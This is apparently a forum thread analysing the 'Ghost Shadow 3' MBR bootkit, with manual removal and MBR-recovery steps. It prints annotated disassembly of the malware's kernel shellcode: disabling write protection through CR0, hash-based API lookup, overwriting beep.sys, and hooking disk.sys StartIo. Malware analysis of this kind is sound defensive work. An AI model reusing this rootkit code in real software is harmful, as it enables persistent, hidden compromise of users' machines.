seg000:00000092                 movsb                   ; 修改Hook代码,以便返回到IoGetCurrentProcess中执行
seg000:00000093                 mov     byte ptr [esi-5], 0E8h ; ' ; E8是Call的机器码
seg000:00000097                 sub     ebp, esi
seg000:00000099                 mov     [esi-4], ebp    ; 这里进行对函数的Inline Hook操作
seg000:00000099                                         ; 使用方法类似Call ebp
seg000:0000009C                 popa
seg000:0000009D                 popf
seg000:0000009E                 mov     esi, eax
seg000:000000A0                 test    eax, eax
seg000:000000A2                 jnz     short locret_AE ; mov     esi, eax
seg000:000000A2                                         ; test    eax, eax
seg000:000000A2                                         ; jnz     short locret_AE
seg000:000000A2                                         ; 以上恢复Osloader.exe的代码
seg000:000000A4                 pushf
seg000:000000A5                 add     [esp-24h+arg_24], 21h ; '!'
seg000:000000AD                 popf                    ; 返回地址+21H得到返回地址
seg000:000000AD                                         ; 进行恢复后跳向指向的地址
seg000:000000AE
seg000:000000AE locret_AE:                              ; CODE XREF: _HookFunction+3Bj
seg000:000000AE                 retn

以下代码是执行shellcode替换驱动
seg000:000000AF                 mov     ebp, esp
seg000:000000B1                 mov     edi, [ebp+28h]
seg000:000000B4                 mov     ecx, cr0
seg000:000000B7                 mov     edx, ecx
seg000:000000B9                 and     ecx, 0FFFEFFFFh
seg000:000000BF                 mov     cr0, ecx        ; 去除内存页面的写保护,也就是通过CR0的置位17位
seg000:000000C2                 pop     eax
seg000:000000C3                 stosd
seg000:000000C4                 pop     eax
seg000:000000C5                 stosb
seg000:000000C6                 mov     cr0, edx        ; 恢复页面的写保护
seg000:000000C9                 jb      short loc_CE
seg000:000000CB                 jnb     short loc_CE
seg000:000000CB ; ---------------------------------------------------------------------------
seg000:000000CD                 db  20h
seg000:000000CE ; ---------------------------------------------------------------------------
seg000:000000CE
seg000:000000CE loc_CE:                                 ; CODE XREF: seg000:000000C9j
seg000:000000CE                                         ; seg000:000000CBj
seg000:000000CE                 enter   4, 0
seg000:000000D2                 push    136E47C7h       ; 这个Hash是PsCreateSystemThread
seg000:000000D7                 call    _GetPeExport    ; 获取此函数的地址
seg000:000000DC                 lea     ebx, [ebp-4]
seg000:000000DF                 push    0
seg000:000000E4                 push    0FFDF0903h
seg000:000000E9                 push    0
seg000:000000EE                 push    0
seg000:000000F3                 push    0
seg000:000000F8                 push    0
seg000:000000FD                 push    ebx
seg000:000000FE                 call    eax             ; 创建一个线程,现场函数地址0FFDF0903h
seg000:00000100                 leave
seg000:00000101                 popa
seg000:00000102                 retn
seg000:00000103 ; ---------------------------------------------------------------------------
seg000:00000103                 pusha
seg000:00000104                 enter   40h, 0
seg000:00000108
seg000:00000108 loc_108:                                ; CODE XREF: seg000:000001ADj
seg000:00000108                                         ; seg000:000001D5j
seg000:00000108                 mov     dword ptr [ebp-8], 0FFFFFFFFh
seg000:0000010F                 mov     dword ptr [ebp-0Ch], 0FECED300h
seg000:00000116                 push    0CC06CD48h      ; 这个Hash是KeDelayExecutionThread
seg000:0000011B                 call    _GetPeExport    ; 获取此函数地址
seg000:00000120                 lea     ebx, [ebp-0Ch]
seg000:00000123                 push    ebx
seg000:00000124                 push    0
seg000:00000129                 push    0
seg000:0000012E                 call    eax             ; 调用KeDelayExecutionThread休眠下
seg000:00000130                 lea     ecx, [ebp-18h]
seg000:00000133                 mov     dword ptr [ecx], 18h
seg000:00000139                 and     dword ptr [ecx+4], 0
seg000:00000140                 mov     dword ptr [ecx+0Ch], 40h ; '@'
seg000:00000147                 and     dword ptr [ecx+10h], 0
seg000:0000014E                 and     dword ptr [ecx+14h], 0
seg000:00000155                 mov     eax, 0FFDF0A85h
seg000:0000015A                 mov     dword ptr [eax+0], 0FFDF0A89h
seg000:00000164                 mov     dword ptr [ecx+8], 0FFDF0A81h
seg000:0000016E                 push    25298A1Dh       ; 这个Hash是ZwCreateFile
seg000:00000173                 call    _GetPeExport
seg000:00000178                 lea     ebx, [ebp-24h]
seg000:0000017B                 lea     edx, [ebp-20h]
seg000:0000017E                 push    0
seg000:00000183                 push    0
seg000:00000188                 push    20h ; ' '
seg000:0000018D                 push    5
seg000:00000192                 push    0
seg000:00000197                 push    80h ;
seg000:0000019C                 push    0
seg000:000001A1                 push    edx
seg000:000001A2                 push    ecx
seg000:000001A3                 push    40000000h
seg000:000001A8                 push    ebx
seg000:000001A9                 call    eax             ; 调用ZwCreateFile打开Beep.sys
seg000:000001AB                 or      eax, eax
seg000:000001AD                 jnz     loc_108         ; 判断打开成功没有
seg000:000001B3                 push    0
seg000:000001B8                 push    2800h
seg000:000001BD                 push    0
seg000:000001C2                 push    0
seg000:000001C7                 push    0FCE7EE0Ch      ; 这个Hash是MmMapIoSpace
seg000:000001CC                 call    _GetPeExport
seg000:000001D1                 call    eax             ; MmMapIoSpace();
seg000:000001D3                 or      eax, eax
seg000:000001D5                 jz      loc_108         ; 判断是否成功
seg000:000001DB                 mov     ebx, eax
seg000:000001DD                 add     ebx, 4D5h
seg000:000001E3                 lea     ecx, [ebp-20h]
seg000:000001E6                 push    7E3ACF7h        ; 这个Hash是ZwWriteFile
seg000:000001EB                 call    _GetPeExport
seg000:000001F0                 push    0
seg000:000001F5                 push    0
seg000:000001FA                 push    1A00h
seg000:000001FF                 push    ebx
seg000:00000200                 push    ecx
seg000:00000201                 push    0
seg000:00000206                 push    0
seg000:0000020B                 push    0
seg000:00000210                 push    dword ptr [ebp-24h]
seg000:00000213                 call    eax             ; ZwWriteFile();
seg000:00000215                 push    0FD929378h      ; 这个Hash是ZwClose
seg000:0000021A                 call    _GetPeExport
seg000:0000021F                 push    dword ptr [ebp-24h]
seg000:00000222                 call    eax             ; ZwClose();
seg000:00000224                 leave
seg000:00000225                 popa
seg000:00000226                 retn    4

以下为通过搜索PE导出表的INT进行HASH对比来得到对应的IAT,以便后面使用函数(比较经典的shellcode为了缩小体积获取API的方法),
Hash的算法为循环左移7位。

[C] 纯文本查看 复制代码
  do
    {
      v8 = *(_DWORD *)v7;
      v7 += 4;
      v11 = v4;
      do
      {
        LOBYTE(v3) = *(_BYTE *)v8++;
        v4 = __ROR__(v4 - v3, 7);               // hash算法
      }
      while ( v3 );
      v9 = v4 == 0;
      v4 = v11;
      --v6;
    }
    while ( v9 && v6 );
227883368 发表于 2015-2-9 16:25 来自手机
没看懂,很厉害的样子!
become120 发表于 2014-7-1 15:54
楼主太专业了 如何获得以上数据的?
Jasonisgoodboy 发表于 2014-3-14 10:08
先收集了学习下。。。。。
桀骜不驯 发表于 2014-2-10 09:28
膜拜大牛  曾经中过鬼影
bupt_360_wdb 发表于 2014-1-27 22:38
lz 分析好详细~
4397903 发表于 2013-12-18 22:54
看看,提高自身技术
 楼主| willJ 发表于 2013-5-2 17:39
本帖最后由 willJ 于 2013-8-8 15:03 编辑

1、开启一个线程
2、删除"\SystemRoot\system32\drivers\beep.sys",设置启动注册表"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",键值为"Alg",指向的文件为"C\\alg.exe",创建文件"C:\\alg.exe"。
3、打开"\\??\\PhysicalDrive0",获得disk.sys驱动对象的DriverStartIo,使用_InterlockedExchange将病毒VisrusStartIo与DriverStartIo进行交换,达到Hook StartIo效果。
4、VirusStartIo保护病毒所在磁盘位置,将所有写操作改为读操作返回。
 楼主| willJ 发表于 2013-5-2 17:39
本帖最后由 willJ 于 2013-5-3 12:05 编辑

鬼影3代手动修复方案
(1)结束并删除恶意程序
图片1.jpg
(2)删除启动项
图片2.jpg
(3)恢复驱动钩子,因为这个钩子对MBR做了过滤操作,如果直接覆盖MBR会失败。
图片3.jpg
(4)根据母体的计算位置找到原始存储MBR的地方。我的硬盘有40G,所以存放在了9FFA9280字节处。
图片4.jpg
(5)解密原始MBR,解密算法循环右移动73H。以下左边是正常MBR,右边是加密的MBR
图片5.jpg
(6)使用WinHex恢复MBR
图片6.jpg

我的心好冷 发表于 2013-5-2 17:51
虽然看不懂  但我知道这是精华
c834606877 发表于 2013-5-2 17:54
都是大同小异......
帅气小书童 发表于 2013-5-2 17:55
这个必须围观
zxqwe 发表于 2013-5-2 18:01
MBR感染没工具修复起来麻烦。。
混小子 发表于 2013-5-2 18:08
好厉害啊,要向楼主学习
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-20 08:53

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表